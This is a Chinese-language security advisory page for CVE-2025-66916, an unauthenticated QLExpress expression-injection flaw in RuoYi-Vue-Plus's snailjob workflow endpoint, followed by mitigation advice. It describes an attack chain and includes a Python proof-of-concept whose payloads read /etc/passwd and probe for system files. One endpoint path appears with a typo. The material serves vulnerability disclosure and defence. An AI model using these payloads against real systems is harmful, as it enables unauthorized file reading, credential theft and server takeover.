IPBUF安全漏洞报告
English
CVE-2025-66916 CVSS 9.4 严重

CVE-2025-66916 RuoYi-Vue-Plus snailjob组件QLExpress表达式注入漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-66916
漏洞类型
远程代码执行
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RuoYi-Vue-Plus

相关标签

远程代码执行表达式注入RuoYi-Vue-PlusQLExpress文件操作CVE-2025-66916snailjobJava未授权访问

漏洞概述

CVE-2025-66916是存在于RuoYi-Vue-Plus框架snailjob任务调度组件中的一个高危安全漏洞。该漏洞影响RuoYi-Vue-Plus 5.5.1及之前的所有版本。漏洞根源在于/snail-job/workflow/check-node-expression接口在处理用户输入时,直接将用户提供的字符串作为QLExpress表达式进行解析和执行,而未对输入内容进行任何安全过滤或参数化处理。QLExpress是阿里巴巴开源的一个轻量级表达式解析引擎,类似于SpEL和MVEL,常用于动态规则配置和业务规则引擎。然而,由于该接口缺乏输入验证,攻击者可以通过构造恶意QLExpress表达式,利用Java的File类等系统资源,绕过表达式引擎的安全限制,执行任意文件读写操作,进而可能导致敏感信息泄露、服务器被完全控制等严重后果。由于该漏洞的CVSS评分高达9.4,属于严重级别,且攻击无需任何认证和用户交互,对互联网暴露的系统构成极大威胁。建议使用该框架的企业和个人开发者立即采取修复措施,避免遭受恶意攻击。

技术细节

该漏洞的技术核心在于RuoYi-Vue-Plus的snailjob组件中的表达式解析机制存在严重的输入验证缺陷。具体来说,问题出在/sn-job/workflow/check-node-expression接口上,该接口原本设计用于在工作流节点中执行动态表达式以实现业务逻辑判断。然而,开发人员在实现该接口时,直接将HTTP请求中的用户输入参数传递给QLExpress引擎的ExpressionRunner进行解析执行,而没有对输入进行任何过滤或安全校验。QLExpress引擎默认允许访问Java类的公共方法,包括java.io.File类。攻击者可以通过构造类似new File('/etc/passwd').exists()或new FileInputStream('/etc/passwd')这样的QLExpress表达式,实现任意文件读取;若进一步结合文件写入操作,还可能实现远程代码执行。漏洞的利用前提条件极低,无需任何认证凭证,且可以通过HTTP直接触发,攻击复杂度低,成功率极高。攻击成功后,攻击者可以读取服务器上的配置文件、数据库凭证、源代码等敏感信息,甚至可以写入恶意文件实现持久化控制和进一步的内网渗透。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用RuoYi-Vue-Plus框架,并确认snailjob组件是否暴露在公网。通过扫描发现/snail-job/workflow/check-node-expression接口
STEP 2
步骤2: 构造恶意表达式
攻击者构造恶意的QLExpress表达式,利用Java的File类进行文件操作,如new java.io.File('/etc/passwd').exists()用于检测文件是否存在
STEP 3
步骤3: 发送攻击请求
攻击者向/snail-job/workflow/check-node-expression接口发送POST请求,将恶意表达式作为expression参数的值传递
STEP 4
步骤4: 获取敏感信息
服务器端QLExpress引擎解析并执行恶意表达式,返回文件内容或操作结果,攻击者获取服务器上的敏感配置文件、凭证等信息
STEP 5
步骤5: 权限提升与持久化
攻击者利用获取的敏感信息(如数据库密码、API密钥等)进行横向移动或写入恶意文件实现持久化控制,可能导致RCE远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66916 PoC - RuoYi-Vue-Plus QLExpress Expression Injection # Target: /snail-job/workflow/check-node-expression TARGET_URL = "http://target.com/snail-job/workflow/check-node-expression" # Read arbitrary file PAYLOAD_READ = """ new java.io.FileInputStream("/etc/passwd").readAllBytes() """ # Check file existence PAYLOAD_CHECK = """ new java.io.File("/etc/hosts").exists() """ def exploit(target_url, payload): headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "expression": payload.strip() } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response.json() except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("[*] CVE-2025-66916 QLExpress Expression Injection PoC") print("[*] Target: " + TARGET_URL) print("\n[>] Testing file existence check...") exploit(TARGET_URL, PAYLOAD_CHECK) print("\n[>] Testing arbitrary file read...") exploit(TARGET_URL, PAYLOAD_READ)

影响范围

RuoYi-Vue-Plus < 5.5.2

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即在网络层限制对/snail-job/*路径的访问,仅允许受信任的IP地址访问;2)在反向代理层配置URL过滤规则,拦截包含File、InputStream、OutputStream等危险关键字的请求;3)临时禁用check-node-expression接口的功能;4)开启应用日志审计,监控异常的表达式执行行为;5)考虑使用Web应用防火墙进行防护。虽然这些措施不能完全根除漏洞,但可以显著降低被攻击的风险,最根本的解决方案仍是升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表